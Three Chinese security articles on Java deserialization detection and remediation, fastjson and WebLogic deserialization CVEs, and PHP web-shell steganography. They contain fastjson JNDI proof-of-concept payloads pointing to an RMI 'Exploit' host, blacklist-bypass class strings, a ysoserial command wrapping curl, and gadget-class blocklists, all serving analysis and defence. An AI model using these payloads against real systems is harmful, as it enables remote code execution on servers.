序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制，那么攻击者即可通过构造恶意输入，让反序列化产生非预期的对象，在此过程中执行构造的任意代码。
漏洞代码示例如下：
......
//读取输入流,并转换对象
InputStream in=request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(in);
//恢复对象
ois.readObject();
ois.close();
这里特别要注意的是非预期的对象，正因为此java标准库及大量第三方公共类库成为反序列化漏洞利用的关键。安全研究人员已经发现大量利用反序列化漏洞执行任意代码的方法，最让大家熟悉的是Gabriel
Lawrence和Chris Frohoff在《[Marshalling Pickles how deserializing objects can
ruin your
day](https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles)》中提出的利用Apache Commons
Collection实现任意代码执行。此后安全研究人员也陆续爆出XML、Json、Yaml等反序列化的相关漏洞。
除了commons-collections 3.1可以用来利用java反序列化漏洞，还有更多第三方库同样可以用来利用反序列化漏洞并执行任意代码，部分如下：
* commons-fileupload 1.3.1
* commons-io 2.4
* commons-collections 3.1
* commons-logging 1.2
* commons-beanutils 1.9.2
* org.slf4j:slf4j-api 1.7.21
* com.mchange:mchange-commons-java 0.2.11
* org.apache.commons:commons-collections 4.0
* com.mchange:c3p0 0.9.5.2
* org.beanshell:bsh 2.0b5
* org.codehaus.groovy:groovy 2.3.9
* ......
### Java反序列化详解
#### 序列化数据结构
通过查看序列化后的数据，可以看到反序列化数据开头包含两字节的魔术数字，这两个字节始终为十六进制的0xAC ED。接下来是两字节的版本号0x00
05的数据。此外还包含了类名、成员变量的类型和个数等。
这里以类SerialObject示例来详细进行介绍Java对象序列化后的数据结构：
public class SerialObject implements Serializable{
private static final long serialVersionUID = 5754104541168322017L;
private int id;
public String name;
public SerialObject(int id,String name){
this.id=id;
this.name=name;
}
...
}
序列化SerialObject实例后以二进制格式查看：
00000000: aced 0005 7372 0024 636f 6d2e 7878 7878 ....sr.$com.xxxx
00000010: 7878 2e73 6563 2e77 6562 2e68 6f6d 652e xx.sec.web.home.
00000020: 5365 7269 616c 4f62 6a65 6374 4fda af97 SerialObjectO...
00000030: f8cc c5e1 0200 0249 0002 6964 4c00 046e .......I..idL..n
00000040: 616d 6574 0012 4c6a 6176 612f 6c61 6e67 amet..Ljava/lang
00000050: 2f53 7472 696e 673b 7870 0000 07e1 7400 /String;xp....t.
00000060: 0563 7279 696e 0a .cryin.
序列化的数据流以魔术数字和版本号开头，这个值是在调用ObjectOutputStream序列化时，由writeStreamHeader方法写入：
protected void writeStreamHeader() throws IOException {
bout.writeShort(STREAM_MAGIC);//STREAM_MAGIC (2 bytes) 0xACED
bout.writeShort(STREAM_VERSION);//STREAM_VERSION (2 bytes) 5
}
序列化后的SerialObject对象详细结构：
STREAM_MAGIC (2 bytes) 0xACED
STREAM_VERSION (2 bytes) 0x0005
TC_OBJECT (1 byte) 0x73
TC_CLASSDESC (1 byte) 0x72
className
length (2 bytes) 0x24 = 36
text (36 bytes) com.xxxxxx.sec.web.home.SerialObject
serialVersionUID (8 bytes) 0x4FDAAF97F8CCC5E1 = 5754104541168322017
classDescInfo
classDescFlags (1 byte) 0x02 = SC_SERIALIZABLE
fields
count (2 bytes) 2
field[0]
primitiveDesc
prim_typecode (1 byte) I = integer
fieldName
length (2 bytes) 2
text (2 bytes) id
field[1]
objectDesc
obj_typecode (1 byte) L = object
fieldName
length (2 bytes) 4
text (4 bytes) name
className1
TC_STRING (1 byte) 0x74
length (2 bytes) 0x12 = 18
text (18 bytes) Ljava/lang/String;
classAnnotation
TC_ENDBLOCKDATA (1 byte) 0x78
superClassDesc
TC_NULL (1 byte) 0x70
classdata[]
classdata[0] (4 bytes) 0xe107 = id = 2017
classdata[1]
TC_STRING (1 byte) 0x74
length (2 bytes) 5
text (8 bytes) cryin
#### 反序列化过程详解
Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象，如果流中的对象是class，则它的ObjectStreamClass描述符会被读取，并返回相应的class对象，ObjectStreamClass包含了类的名称及serialVersionUID。
如果类描述符是动态代理类，则调用resolveProxyClass方法来获取本地类。如果不是动态代理类则调用resolveClass方法来获取本地类。如果无法解析该类，则抛出ClassNotFoundException异常。
如果反序列化对象不是String、array、enum类型，ObjectStreamClass包含的类会在本地被检索，如果这个本地类没有实现java.io.Serializable或者externalizable接口，则抛出InvalidClassException异常。因为只有实现了Serializable和Externalizable接口的类的对象才能被序列化。
### 反序列化漏洞检测方案
#### 代码审计
反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控，如下：
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
...
同时也要关注存在漏洞的第三方库及版本是否安全。
#### 进阶审计
对于直接获取用户输入进行反序列化操作这种点比较好审计并发现，目前反序列化漏洞已经被谈起太多次了，所以有经验的开发都会在代码中有相应的修复。但并不是所有修复都无懈可击。比如采用黑名单校验的修复方式，对于这种修复可在工程代码中尝试挖掘新的可以利用的’gadget‘。
代码中有使用到反序列化操作，那自身项目工程中肯定存在可以被反序列化的类，包括Java自身、第三方库有大量这样的类，可被反序列化的类有一个特点，就是该类必定实现了Serializable接口，Serializable
接口是启用其序列化功能的接口，实现 java.io.Serializable 接口的类才是可序列化的。一个典型的示例如下：
public class SerialObject implements Serializable{
private static final long serialVersionUID = 5754104541168322017L;
private int id;
public String name;
public SerialObject(int id,String name){
this.id=id;
this.name=name;
}
public void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
}
}
所以在代码审计时对这些类也可进行特别关注，分析并确认是否有可能被发序列化漏洞利用执行任意代码。发现新的可利用的类即可突破使用黑名单进行校验的一些应用。
#### 白盒检测
大型企业的应用很多，每个都人工去审计不现实，往往都有相应的自动化静态代码审计工具，这里以ObjectInputStream.readObject()为例，其它原理也相似。在自动化检测时，可通过实现解析java源代码，检测readObject()方法调用时判断其对象是否为java.io.ObjectOutputStream。如果此时ObjectInputStream对象的初始化参数来自外部请求输入参数则基本可以确定存在反序列化漏洞了。这是只需确认是否存在相应的安全修复即可。
检测方式可参考[lgtm.com](https://lgtm.com/query/rule:1823453799/lang:java/)对于Deserialization
of user-controlled data的实现:
/**
* @name Deserialization of user-controlled data
* @description Deserializing user-controlled data may allow attackers to
* execute arbitrary code.
* @kind problem
* @problem.severity error
* @precision high
* @id java/unsafe-deserialization
* @tags security
* external/cwe/cwe-502
*/
import java
import semmle.code.java.security.DataFlow
import semmle.code.java.frameworks.Kryo
import semmle.code.java.frameworks.XStream
import semmle.code.java.frameworks.SnakeYaml
class ObjectInputStreamReadObjectMethod extends Method {
ObjectInputStreamReadObjectMethod() {
this.getDeclaringType().getASourceSupertype*().hasQualifiedName("java.io", "ObjectInputStream") and
(this.hasName("readObject") or this.hasName("readUnshared"))
}
}
class XMLDecoderReadObjectMethod extends Method {
XMLDecoderReadObjectMethod() {
this.getDeclaringType().hasQualifiedName("java.beans", "XMLDecoder") and
this.hasName("readObject")
}
}
class SafeXStream extends FlowSource {
SafeXStream() {
any(XStreamEnableWhiteListing ma).getQualifier().(VarAccess).getVariable().getAnAccess() = this
}
}
class SafeKryo extends FlowSource {
SafeKryo() {
any(KryoEnableWhiteListing ma).getQualifier().(VarAccess).getVariable().getAnAccess() = this
}
}
predicate unsafeDeserialization(MethodAccess ma, Expr sink) {
exists(Method m | m = ma.getMethod() |
m instanceof ObjectInputStreamReadObjectMethod and
sink = ma.getQualifier()
or
m instanceof XMLDecoderReadObjectMethod and
sink = ma.getQualifier()
or
m instanceof XStreamReadObjectMethod and
sink = ma.getAnArgument() and
not exists(SafeXStream sxs | sxs.flowsTo(ma.getQualifier()))
or
m instanceof KryoReadObjectMethod and
sink = ma.getAnArgument() and
not exists(SafeKryo sk | sk.flowsTo(ma.getQualifier()))
or
ma instanceof UnsafeSnakeYamlParse and
sink = ma.getArgument(0)
)
}
class UnsafeDeserializationSink extends Expr {
UnsafeDeserializationSink() {
unsafeDeserialization(_, this)
}
MethodAccess getMethodAccess() { unsafeDeserialization(result, this) }
}
from UnsafeDeserializationSink sink, RemoteUserInput source
where source.flowsTo(sink)
select sink.getMethodAccess(), "Unsafe deserialization of $@.", source, "user input"
#### 黑盒检测
调用ysoserial并依次生成各个第三方库的利用payload(也可以先分析依赖第三方包量，调用最多的几个库的paylaod即可)，该payload构造为访问特定url链接的payload，根据http访问请求记录判断反序列化漏洞是否利用成功。如：
java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " '
也可通过DNS解析记录确定漏洞是否存在。现成的轮子很多，推荐NickstaDB写的SerialBrute，还有一个针对RMI的测试工具[BaRMIe](https://github.com/NickstaDB/BaRMIe)，也很不错～。.
#### RASP检测
Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象，如果流中的对象是class，则它的ObjectStreamClass描述符会被读取，并返回相应的class对象，ObjectStreamClass包含了类的名称及serialVersionUID。
类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置，且在readObject反序列化时首先会调用resolveClass读取反序列化的类名，所以RASP检测反序列化漏洞时可通过重写ObjectInputStream对象的resolveClass方法获取反序列化的类即可实现对反序列化类的黑名单校验。
百度的开源RASP产品就是使用的这种方法，具体可参考其[DeserializationHook.java](https://github.com/baidu/openrasp/blob/master/agent/java/src/main/java/com/fuxi/javaagent/hook/DeserializationHook.java)的实现:
@Override
protected MethodVisitor hookMethod(int access, String name, String desc,
String signature, String[] exceptions, MethodVisitor mv) {
if ("resolveClass".equals(name) && "(Ljava/io/ObjectStreamClass;)Ljava/lang/Class;".equals(desc)) {
return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) {
@Override
protected void onMethodEnter() {
loadArg(0);
invokeStatic(Type.getType(HookHandler.class),
new Method("checkDeserializationClass", "(Ljava/io/ObjectStreamClass;)V"));
}
};
}
return mv;
}
其中检测覆盖的反序列化类黑名单如下:
plugin.register('deserialization', function (params, context) {
var deserializationInvalidClazz = [
'org.apache.commons.collections.functors.InvokerTransformer',
'org.apache.commons.collections.functors.InstantiateTransformer',
'org.apache.commons.collections4.functors.InvokerTransformer',
'org.apache.commons.collections4.functors.InstantiateTransformer',
'org.codehaus.groovy.runtime.ConvertedClosure',
'org.codehaus.groovy.runtime.MethodClosure',
'org.springframework.beans.factory.ObjectFactory',
'xalan.internal.xsltc.trax.TemplatesImpl'
]
var clazz = params.clazz
for (var index in deserializationInvalidClazz) {
if (clazz === deserializationInvalidClazz[index]) {
return {
action: 'block',
message: '尝试反序列化攻击',
confidence: 100
}
}
}
return clean
})
#### 攻击检测
通过查看反序列化后的数据，可以看到反序列化数据开头包含两字节的魔术数字，这两个字节始终为十六进制的0xAC
ED。接下来是两字节的版本号。我只见到过版本号为5（0x00
05）的数据。考虑到zip、base64各种编码，在攻击检测时可针对该特征进行匹配请求post中是否包含反序列化数据，判断是否为反序列化漏洞攻击。
xxxdeMacBook-Pro:demo xxx$ xxd objectexp
00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU.....
但仅从特征匹配只能确定有攻击尝试请求，还不能确定就存在反序列化漏洞，还要结合请求响应、返回内容等综合判断是否确实存在漏洞。
### Java反序列化漏洞修复方案
#### 通过Hook resolveClass来校验反序列化的类
通过上面序列化数据结构可以了解到包含了类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置，且在readObject反序列化时首先会调用resolveClass读取反序列化的类名，所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验。这个方法最早是由IBM的研究人员Pierre
Ernst在2013年提出《[Look-ahead Java
deserialization](https://www.ibm.com/developerworks/library/se-lookahead/)》，具体实现代码示例如下:
public class AntObjectInputStream extends ObjectInputStream{
public AntObjectInputStream(InputStream inputStream)
throws IOException {
super(inputStream);
}
/**
* 只允许反序列化SerialObject class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(SerialObject.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}
通过此方法，可灵活的设置允许反序列化类的白名单，也可设置不允许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现，黑名单需要一直更新维护，且未公开的利用方法无法覆盖。
[SerialKiller](https://github.com/ikkisoft/SerialKiller) 是由Luca
Carettoni利用上面介绍的方法实现的反序列化类白/黑名单校验的jar包。具体使用方法可参考其代码仓库。
[contrast-rO0](https://github.com/Contrast-Security-OSS/contrast-rO0)是一个轻量级的agent程序，通过通过重写ObjectInputStream来防御反序列化漏洞攻击。使用其中的SafeObjectInputStream类来实现反序列化类白/黑名单控制，示例代码如下:
SafeObjectInputStream in = new SafeObjectInputStream(inputStream, true);
in.addToWhitelist(SerialObject.class);
in.readObject();
#### 使用ValidatingObjectInputStream来校验反序列化的类
使用Apache Commons IO
Serialization包中的ValidatingObjectInputStream类的accept方法来实现反序列化类白/黑名单控制，具体可参考[ValidatingObjectInputStream](https://commons.apache.org/proper/commons-io/javadocs/api-release/index.html)介绍；示例代码如下:
private static Object deserialize(byte[] buffer) throws IOException,
ClassNotFoundException , ConfigurationException {
Object obj;
ByteArrayInputStream bais = new ByteArrayInputStream(buffer);
// Use ValidatingObjectInputStream instead of InputStream
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais);
//只允许反序列化SerialObject class
ois.accept(SerialObject.class);
obj = ois.readObject();
return obj;
}
#### 使用ObjectInputFilter来校验反序列化的类
Java
9包含了支持序列化数据过滤的新特性，开发人员也可以继承[java.io.ObjectInputFilter](http://download.java.net/java/jdk9/docs/api/java/io/ObjectInputFilter.html)类重写checkInput方法实现自定义的过滤器，，并使用ObjectInputStream对象的[setObjectInputFilter](http://download.java.net/java/jdk9/docs/api/java/io/ObjectInputStream.html#setObjectInputFilter-java.io.ObjectInputFilter-)设置过滤器来实现反序列化类白/黑名单控制。示例代码如下:
import java.util.List;
import java.util.Optional;
import java.util.function.Function;
import java.io.ObjectInputFilter;
class BikeFilter implements ObjectInputFilter {
private long maxStreamBytes = 78; // Maximum allowed bytes in the stream.
private long maxDepth = 1; // Maximum depth of the graph allowed.
private long maxReferences = 1; // Maximum number of references in a graph.
@Override
public Status checkInput(FilterInfo filterInfo) {
if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth|| filterInfo.streamBytes() > maxStreamBytes) {
return Status.REJECTED;
}
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
if (SerialObject.class == filterInfo.serialClass()) {
return Status.ALLOWED;
}
else {
return Status.REJECTED;
}
}
return Status.UNDECIDED;
} // end checkInput
} // end class BikeFilter
上述示例代码，仅允许反序列化SerialObject类对象，上述示例及更多关于ObjectInputFilter的均参考自NCC Group
Whitepaper由Robert C. Seacord写的《[Combating Java Deserialization Vulnerabilities
with Look-Ahead Object Input Streams
(LAOIS)](https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2017/june/ncc_group_combating_java_deserialization_vulnerabilities_with_look-ahead_object_input_streams1.pdf)》
#### 黑名单校验修复
在反序列化时设置类的黑名单来防御反序列化漏洞利用及攻击，这个做法在源代码修复的时候并不是推荐的方法，因为你不能保证能覆盖所有可能的类，而且有新的利用payload出来时也需要随之更新黑名单。
但有某些场景下可能黑名单是一个不错的选择。写代码的时候总会把一些经常用到的方法封装到公共类，这样其它工程中用到只需要导入jar包即可，此前已经见到很多提供反序列化操作的公共接口，使用第三方库反序列化接口就不好用白名单的方式来修复了。这个时候作为第三方库也不知道谁会调用接口，会反序列化什么类，所以这个时候可以使用黑名单的方式来禁止一些已知危险的类被反序列化，部分的黑名单类如下：
* org.apache.commons.collections.functors.InvokerTransformer
* org.apache.commons.collections.functors.InstantiateTransformer
* org.apache.commons.collections4.functors.InvokerTransformer
* org.apache.commons.collections4.functors.InstantiateTransformer
* org.codehaus.groovy.runtime.ConvertedClosure
* org.codehaus.groovy.runtime.MethodClosure
* org.springframework.beans.factory.ObjectFactory
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
* org.apache.commons.fileupload
* org.apache.commons.beanutils
* ...
#### 安全编码建议
* 更新commons-collections、commons-io等第三方库版本；
* 业务需要使用反序列化时，尽量避免反序列化数据可被用户控制，如无法避免建议尽量使用白名单校验的修复方式；
### 总结
关于反序列化漏洞分析及利用研究的文章不少，但鲜有检测及修复方面的介绍，本文旨站在应用安全的角度，从安全编码、代码审计、漏洞检测及修复方案对反序列化漏洞进行详细分享。希望对从事应用安全的朋友有所帮助。文中若有问题之处欢迎指出交流。
### 参考
* <https://www.nccgroup.trust/us/our-research/combating-java-deserialization-vulnerabilities-with-look-ahead-object-input-streams-laois/>
* <https://dzone.com/articles/a-first-look-into-javas-new-serialization-filterin>
* <https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html>
* <https://www.owasp.org/index.php/Deserialization_of_untrusted_data>
* <https://github.com/Cryin/Paper/blob/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E6%A3%80%E6%B5%8B%E6%96%B9%E6%A1%88.md>
* <https://www.ibm.com/developerworks/library/se-lookahead/>
* <https://github.com/baidu/openrasp> | 社区文章 |
# 先知议题解读 | Java反序列化实战
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一 、议题和个人介绍
### 1.1 议题概述
2017年又是反序列漏洞的大年，涌现了许多经典的因为反序列化导致的远程代码执行漏洞，像fastjson，jackson，struts2，weblogic这些使用量非常大的产品都存在这类漏洞，但不幸的是，这些漏洞的修复方式都是基于黑名单，每次都是旧洞未补全，新洞已面世。随着虚拟货币的暴涨，这些直接的远程执行代码漏洞都成了挖矿者的乐园。
本议题将从那些经典案例入手，分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析，由于黑名单做了加密处理，这里会展开如何得到其黑名单，如何构造PoC。当然2018年的重点还是weblogic，由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞，带大家傲游反序列化的世界，同时也是希望开发者多多借鉴做好安全编码。
### 1.2 个人简介
本文作者来自绿盟科技，现任网络安全攻防实验室安全研究经理，安全行业从业七年，是看雪大会讲师，Pycon大会讲师，央视专访嘉宾，向RedHat、Apache、Amazon，Weblogic，阿里提交多份RCE漏洞报告，最近的Weblogic
CVE-2018-2628就是一个。
个人博客：xxlegend.com 个人公众号:廖新喜
## 二、 反序列化入门
序列化和反序列化是java引入的数据传输存储接口，序列化是用于将对象转换成二进制串存储，对应着writeObject，而反序列正好相反，将二进制串转换成对象，对应着readObject，类必须实现反序列化接口，同时设置serialVersionUID以便适用不同jvm环境。
可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头：0xaced,TC_OBJECT:0x73,TC_CLASS:0x72,serialVersionUID,newHandle
使用场景: • http参数，cookie，sesion，存储方式可能是base64（rO0），压缩后的base64（H4sl），MII等 •
Servlets HTTP，Sockets，Session管理器 包含的协议就包括JMX，RMI，JMS，JNDI等（\xac\xed） • xml
Xstream,XMLDecoder等（HTTP Body：Content-Type:application/xml） •
json(Jackson，fastjson) http请求中包含
反序列攻击时序图:
常见的反序列化项目： • Ysoserial 原生序列化PoC生成 • Marshalsec 第三方格式序列化PoC生成 • Freddy
burp反序列化测试插件 • Java-Deserialization-Cheat-Sheet
## 三、 fastjson
### 3.1 简介
Fastjson是Alibaba开发的，Java语言编写的高性能JSON库。采用“假定有序
快速匹配”的算法，号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化，示例代码如下：
User user = new User("guest",2);
String jsonString = JSON.toJSONString(user)
String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"
User user = (User)JSON.parse(jsonString)
Fastjson PoC分类 主要分为两大类，一个是基于TemplateImpl，另外就是基于基于JNDI，基于JNDI的又可分为 a) Bean
Property类型 b) Field类型 可以参考Demo：<https://github.com/shengqi158/fastjson-remote-code-execute-poc>
fastjson为了防止研究人员研究它的黑名单，想出了一套新的黑名单机制，这套黑名单是基于具体类的hash加密算法，不可逆。如果是简单穷举，基本算不出来，后来我想到这些库的黑名单肯定都在Maven仓库中，于是写了个爬虫，爬取Maven仓库下所有类，然后正向匹配输出真正的黑名单类。
### 3.2 fastjson最近的几个经典漏洞
下面这段代码是fastjson用来自定义loadClass的实现
public static Class<?> loadClass(String className, ClassLoader classLoader) {
//省略
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
首先我们来看一个经典的PoC，`{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"<rmi://localhost:1099/Exploit>","
"autoCommit":true}`,关于这个PoC的解读在我博客上有，这里不再详述，但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞，首先看1.2.41的绕过方法是`Lcom.sun.rowset.RowSetImpl;`,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符`L`和最后一个字符`；`吧，果不其然，在官方的修补方案中，如果以`L`打头，`；`结尾则会去掉打头和结尾。当时我就发了一个感概：补丁未出，漏洞已行。很显然，1.2.42的绕过方法是`LLcom.sum.rowset.RowSetImpl;;`,细心的读者还会看到loadClass的第一个if判断中还有`[`打头部分，所以就又有了1.2.43的绕过方法是
[com.sun.rowset.RowSetImp.
在官方版本1.2.45黑名单中又添加了ibatis的黑名单，PoC如下:`{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"<rmi://localhost:1099/Exploit>"}}`，首先这是一个基于JNDI的PoC，为了更加理解这个PoC，我们还是先来看一下JndiDataSourceFactory的源码。
public class JndiDataSourceFactory implements DataSourceFactory {
public static final String DATA_SOURCE = "data_source";
//省略
public void setProperties(Properties properties) {
try {
InitialContext initCtx = null;
Hashtable env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
//省略
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}
} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}
其本质还是通过bean操作接口set来调用setProperties，然后触发JNDI查询。
## 四、 weblogic
Weblogic是第一个成功商业化的J2EE应用服务器，在大型企业中使用非常广泛。在Oracle旗下，可以与其他Oracle产品强强联手，WebLogic
Server Java EE 应用基于标准化、模块化的组件，WebLogic Server
为这些模块提供了一组完整的服务，无需编程即可自动处理应用行为的许多细节，另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示：
### CVE-2015-4852
基于T3 • 新的攻击面 • 基于commons-collections • 采用黑名单修复
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
• 作用位置有限
1. weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
2. weblogic.rjvm.MsgAbbrevInputStream.class
3. weblogic.iiop.Utils.class
### CVE-2016-0638
首先来看下漏洞位置，在readExternal位置，
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);
ObjectInputStream var5 = new ObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
再来看看补丁，加了一个FilteringObjectInputStream过滤接口
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)
BufferInputStream is = this.payload.getInputStream();
FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
FilteringObjectInputStream的实现如下：
public class FilteringObjectInputStream extends ObjectInputStream {
public FilteringObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
return super.resolveClass(descriptor);
}
}
}
其实就是在resolveClass位置加了一层黑名单控制。
### 基于XMLDecoder
• CVE-2017-3506 由于使用了存在反序列化缺陷XMLDecoder导致的漏洞 • CVE-2017-10271 是3506的绕过 •
都是挖矿主力军 • 基于http协议
详细解读可参考我的博客：<http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/>
### CVE-2017-3248
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0
&& ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
Class c = super.resolveClass(descriptor);
//省略
}
}
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
CVE-2017-3248
这个漏洞是根据JRMPListener来构造的，从这个补丁也可以看出，在resolveClass和resolveProxyClass都设置了黑名单。
### CVE-2018-2628
这个漏洞是我报给Oracle官方的，但是他们并没有修复完全，导致后来这个漏洞被滥用。 • 完美绕过CVE-2017-3248 •
基于StreamMessage封装 •
利用java.rmi.activation.Activator绕过补丁中对java.rmi.registry.Registry的限制 • Proxy非必须项
攻击示意图如下：
简单分析可见：<http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/>
## 五、 反序列化防御
### 5.1 Weblogic防御
• 过滤T3协议，限定可连接的IP • 设置Nginx反向代理，实现t3协议和http协议隔离 •
JEP290（JDK8u121，7u131，6u141），这个机制主要是在每层反序列化过程中都加了一层黑名单处理，黑名单如下： 黑名单：
maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*
当然也有失效的时候，就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。
### 5.2 原生反序列化防御
• 不要反序列化不可信的数据 • 给反序列数据加密签名，并确保解密在反序列之前 • 给反序列化接口添加认证授权 •
反序列化服务只允许监听在本地或者开启相应防火墙 • 升级第三方库 • 升级JDK，JEP290
绿盟科技Web攻防实验室欢迎各位应聘，招聘大牛和实习生。团队专注于最前沿的Web攻防研究，大数据分析，前瞻性攻击与检测预研. 联系邮箱：
liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com | 社区文章 |
原文地址：<https://blog.sucuri.net/2021/02/whitespace-steganography-conceals-web-shell-in-php-malware.html>
去年11月，我们写过一篇[文章](https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html
"文章")，介绍了攻击者是如何使用JavaScript注入技术从合法的CSS文件中加载恶意代码的。
乍一看，这些注入的文件中除了一些正常的CSS规则外，似乎没有其他方面的内容。实际上，如果对.CSS文件进行更深入的分析的话就会发现，其中有56,964行貌似空行，但其实却包含了不可见的制表符（0x09）、空格符（0x20）和换行符（0x0A）等内容——这些字符首先被转换为二进制字符表示形式，之后被进一步转换为可执行JavaScript代码的文本形式。
没过多久，我们就发现PHP恶意软件中也采用了同样的方法。以下是我们的恶意软件分析师[Liam
Smith](https://twitter.com/liamsmith86 "Liam
Smith")最近在处理一个包含多个后门和黑客上传的webshell的网站时发现的样本。
## 可疑的license.php文件
实际上，Liam在该网站上发现了许多可疑文件，其中就包括`system/license.php`。
正如该文件名所暗示的那样，该文件中保存的是许可证协议的文本，更具体地说，是[GNU通用公共许可证](https://www.gnu.org/licenses/gpl-3.0.en.html
"GNU通用公共许可证")第3版的文本。
通过观察，我们发现这些许可证文本被放在一个多行的PHP注释中。然而，在第134行，我们看到两个注释之间有一个明显的空隙，并且其中含有可执行的PHP代码。
隐藏在`license.php`文件中的PHP代码
实际上，在注释块中隐藏恶意代码是黑客惯用的一种混淆技术。
